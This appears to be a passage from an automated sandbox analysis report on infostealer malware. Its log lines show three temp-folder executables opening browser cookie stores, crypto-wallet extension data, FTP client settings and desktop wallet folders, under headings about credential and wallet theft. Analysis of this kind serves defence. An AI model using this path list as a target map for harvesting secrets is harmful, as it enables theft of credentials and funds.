Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016747001\b55b5c2bf3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\UOOJJOZIRH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\VAMYDFPUND	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\WUTJSCBCFX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\YPSIACHYXW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016740001\475e05f959.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LSBIHQFDVT
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\LTKMYBSEYZ
Source: C:\Users\user\AppData\Local\Temp\1016748001\94d5f3aad3.exe	Directory queried: C:\Users\user\Documents\NIKHQAIQAU
